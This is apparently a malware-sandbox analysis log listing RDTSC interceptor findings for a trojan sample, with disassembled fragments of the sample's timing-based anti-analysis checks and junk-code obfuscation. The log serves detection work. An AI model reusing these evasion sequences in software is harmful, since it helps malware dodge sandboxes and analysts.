Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB2EA second address: CFB2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB2EE second address: CFB2FB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB2FB second address: CFB357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jc 00007F3620DC90FEh 0x00000010 je 00007F3620DC90F8h 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 adc dx, CF61h 0x0000001e lea ebx, dword ptr [ebp+1246008Bh] 0x00000024 call 00007F3620DC9105h 0x00000029 add ecx, dword ptr [ebp+122D1D3Bh] 0x0000002f pop ecx 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 push ebx 0x00000033 jmp 00007F3620DC9104h 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB357 second address: CFB35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB35B second address: CFB368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB3E6 second address: CFB3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB3EB second address: CFB46E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3620DC90FCh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F3620DC90F8h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a ja 00007F3620DC9108h 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D2941h], eax 0x00000038 call 00007F3620DC90F9h 0x0000003d jbe 00007F3620DC90FAh 0x00000043 push edx 0x00000044 push eax 0x00000045 pop eax 0x00000046 pop edx 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F3620DC9105h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB46E second address: CFB477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB477 second address: CFB4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9105h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f js 00007F3620DC9100h 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jnl 00007F3620DC90F6h 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push edi 0x00000022 jnp 00007F3620DC90F8h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB4BD second address: CFB4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB4C2 second address: CFB51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a add ecx, dword ptr [ebp+122D2E15h] 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 xor edi, 11E05A51h 0x0000001a mov edi, 19AAD3DAh 0x0000001f push 00000003h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F3620DC90F8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov esi, 31A9A3B8h 0x00000040 push 8E0E82A2h 0x00000045 jp 00007F3620DC9118h 0x0000004b push eax 0x0000004c push edx 0x0000004d jbe 00007F3620DC90F6h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB5B6 second address: CFB64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F59Fh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F362081F5A7h 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 popad 0x00000017 nop 0x00000018 mov si, 3321h 0x0000001c push 00000000h 0x0000001e or dword ptr [ebp+122D228Dh], ecx 0x00000024 push 9E31F3EFh 0x00000029 jmp 00007F362081F59Fh 0x0000002e add dword ptr [esp], 61CE0C91h 0x00000035 mov edi, 79869BC2h 0x0000003a push 00000003h 0x0000003c mov dx, 03A7h 0x00000040 push 00000000h 0x00000042 mov di, B2A6h 0x00000046 push 00000003h 0x00000048 jmp 00007F362081F5A6h 0x0000004d xor esi, dword ptr [ebp+122D2DB1h] 0x00000053 push A7BB5007h 0x00000058 push eax 0x00000059 push edx 0x0000005a jbe 00007F362081F59Ch 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CFB64F second address: CFB653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1A256 second address: D1A25A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1A9D6 second address: D1A9DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1A9DA second address: D1A9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1A9E6 second address: D1A9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 jbe 00007F3620DC90F6h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1A9F5 second address: D1AA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F362081F596h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1AE56 second address: D1AE62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007F3620DC90F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1AE62 second address: D1AE96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Ah 0x00000007 jmp 00007F362081F59Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F362081F5A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CEA5F0 second address: CEA5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CEA5F8 second address: CEA60A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F59Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1B6DB second address: D1B6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1B6DF second address: D1B6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1B9A3 second address: D1B9BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F3620DC90FEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1FE05 second address: D1FE0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D1FE0B second address: D1FE30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9109h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D22A23 second address: D22A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D22A2E second address: D22A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CDCDDF second address: CDCDE4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27CB1 second address: D27CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D271F3 second address: D27212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F362081F5A6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27212 second address: D27216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27216 second address: D2721C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2721C second address: D27224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27224 second address: D27258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F362081F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F362081F598h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ebx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pop ebx 0x00000019 jmp 00007F362081F5A5h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D277A4 second address: D277A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27945 second address: D27950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27AC5 second address: D27AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC9103h 0x00000009 ja 00007F3620DC90F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D27AE2 second address: D27AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A569 second address: D2A57A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A57A second address: D2A58F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F362081F598h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A58F second address: D2A593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A593 second address: D2A5A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F362081F596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A5A1 second address: D2A5A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A5A5 second address: D2A5B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F362081F598h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A5B8 second address: D2A5C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC90FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A5C8 second address: D2A645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jmp 00007F362081F5A7h 0x00000015 jmp 00007F362081F5A1h 0x0000001a popad 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F362081F598h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 push F2919ED9h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A645 second address: D2A649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A9C1 second address: D2A9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F362081F596h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A9D0 second address: D2A9F6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F3620DC9108h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A9F6 second address: D2A9FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A9FC second address: D2AA00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2AB8D second address: D2AB91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2AB91 second address: D2AB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2ACB8 second address: D2ACBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2ACBE second address: D2ACC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2B1F3 second address: D2B21E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F362081F5A4h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F362081F59Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2B517 second address: D2B51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2B6DE second address: D2B6E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2B6E2 second address: D2B6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2B7AD second address: D2B7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2EBE8 second address: D2EBEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D32320 second address: D32326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D32B85 second address: D32BB6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F3620DC90FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3620DC9105h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D35072 second address: D35078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D35078 second address: D350D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F3620DC9109h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 je 00007F3620DC9101h 0x00000017 jmp 00007F3620DC90FBh 0x0000001c pop ebx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F3620DC90F8h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 mov edi, dword ptr [ebp+122D2B01h] 0x0000003f xchg eax, esi 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D350D9 second address: D350DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D350DD second address: D350E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D360CE second address: D360E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F362081F59Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D360E2 second address: D360E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D351C7 second address: D351D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D381BD second address: D381C3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D3747A second address: D37480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
